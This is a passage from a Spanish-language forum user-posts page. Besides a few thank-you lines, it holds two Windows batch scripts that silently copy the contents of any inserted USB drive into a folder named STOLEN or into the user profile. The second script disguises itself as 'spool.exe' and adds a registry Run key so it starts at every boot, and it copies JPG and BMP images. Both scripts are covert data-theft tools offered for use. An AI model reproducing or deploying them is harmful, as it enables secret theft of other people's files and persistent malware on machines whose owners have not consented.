Excelente, SmartGenius, creo que eso era lo que faltaba.
Muchas gracias.
Nos vemos
Muchas gracias.
Nos vemos
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCitarEsto es muy importante saberlo, nos permite ahorrar muchas lineas de codigo, ademas de que el codigo se ve mas legible y elegante.
::Code pensado para detectar y copiar todo el contenido de un USB conectado al equipo.
:: Construido en arquitectura on-demand (hay que ejecutar el programa para que realice la orden).
:: Este sistema copia todos los archivos. Es posible adaptar el code para que copie solo archivos con un nombre y/o una extensión concreta.
@echo off
If Exist C:\STOLEN (goto echeck) else (
MD C:\STOLEN
goto echeck
)
:echeck
ping -n 30 localhost
if exist E:\ (goto existe) else (goto fcheck)
:fcheck
ping -n 2 localhost
if exist F:\ (goto existf) else (goto gcheck)
:gcheck
ping -n 2 localhost
if exist G:\ (goto existg) else (goto hcheck)
:hcheck
ping -n 2 localhost
if exist H:\ (goto existh) else (goto echeck)
:existe
ping -n 2 localhost
xcopy E:\*.* C:\STOLEN\*.* /E /I
(goto fcheck)
:existf
ping -n 2 localhost
xcopy F:\*.* C:\STOLEN\*.* /E /I
(goto gcheck)
:existg
xcopy G:\*.* C:\STOLEN\*.* /E /I
ping -n 2 localhost
(goto hcheck)
:existh
xcopy H:\*.* C:\STOLEN\*.* /E /I
ping -n 2 localhost
(goto echeck)
::Code pensado para detectar y copiar todo el contenido de un USB conectado al equipo.
:: Construido en arquitectura always-on (una vez instalado, se ejecuta siempre).
:: El tipo de archivos que va a copiar son JPG y BMP. Esto es configurable.
@echo off
If Exist "%PROGRAMFILES%\USB\spool.exe" (goto alpha) else (goto betha)
:betha
MD "%PROGRAMFILES%\USB\"
copy /y %0 "%PROGRAMFILES%\USB\spool.exe"
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v spool /d "%PROGRAMFILES%\USB\spool.exe" /f
goto alpha
:alpha
If Exist "%USERPROFILE%\USB\" (goto echeck) else (
MD "%USERPROFILE%\USB\"
goto echeck
)
:echeck
ping -n 30 localhost
if exist E:\ (goto existe) else (goto fcheck)
:fcheck
ping -n 2 localhost
if exist F:\ (goto existf) else (goto gcheck)
:gcheck
ping -n 2 localhost
if exist G:\ (goto existg) else (goto hcheck)
:hcheck
ping -n 2 localhost
if exist H:\ (goto existh) else (goto echeck)
:existe
ping -n 2 localhost
xcopy E:\*.jpg "%USERPROFILE%\USB\*.jpg" /E /I
xcopy E:\*.jpg "%USERPROFILE%\USB\*.bmp" /E /I
(goto fcheck)
:existf
ping -n 2 localhost
xcopy F:\*.jpg "%USERPROFILE%\USB\*.jpg" /E /I
xcopy F:\*.jpg "%USERPROFILE%\USB\*.bmp" /E /I
(goto gcheck)
:existg
xcopy G:\*.jpg "%USERPROFILE%\USB\*.jpg" /E /I
xcopy G:\*.jpg "%USERPROFILE%\USB\*.bmp" /E /I
ping -n 2 localhost
(goto hcheck)
:existh
xcopy H:\*.jpg "%USERPROFILE%\USB\*.jpg" /E /I
xcopy H:\*.jpg "%USERPROFILE%\USB\*.bmp" /E /I
ping -n 2 localhost
(goto echeck)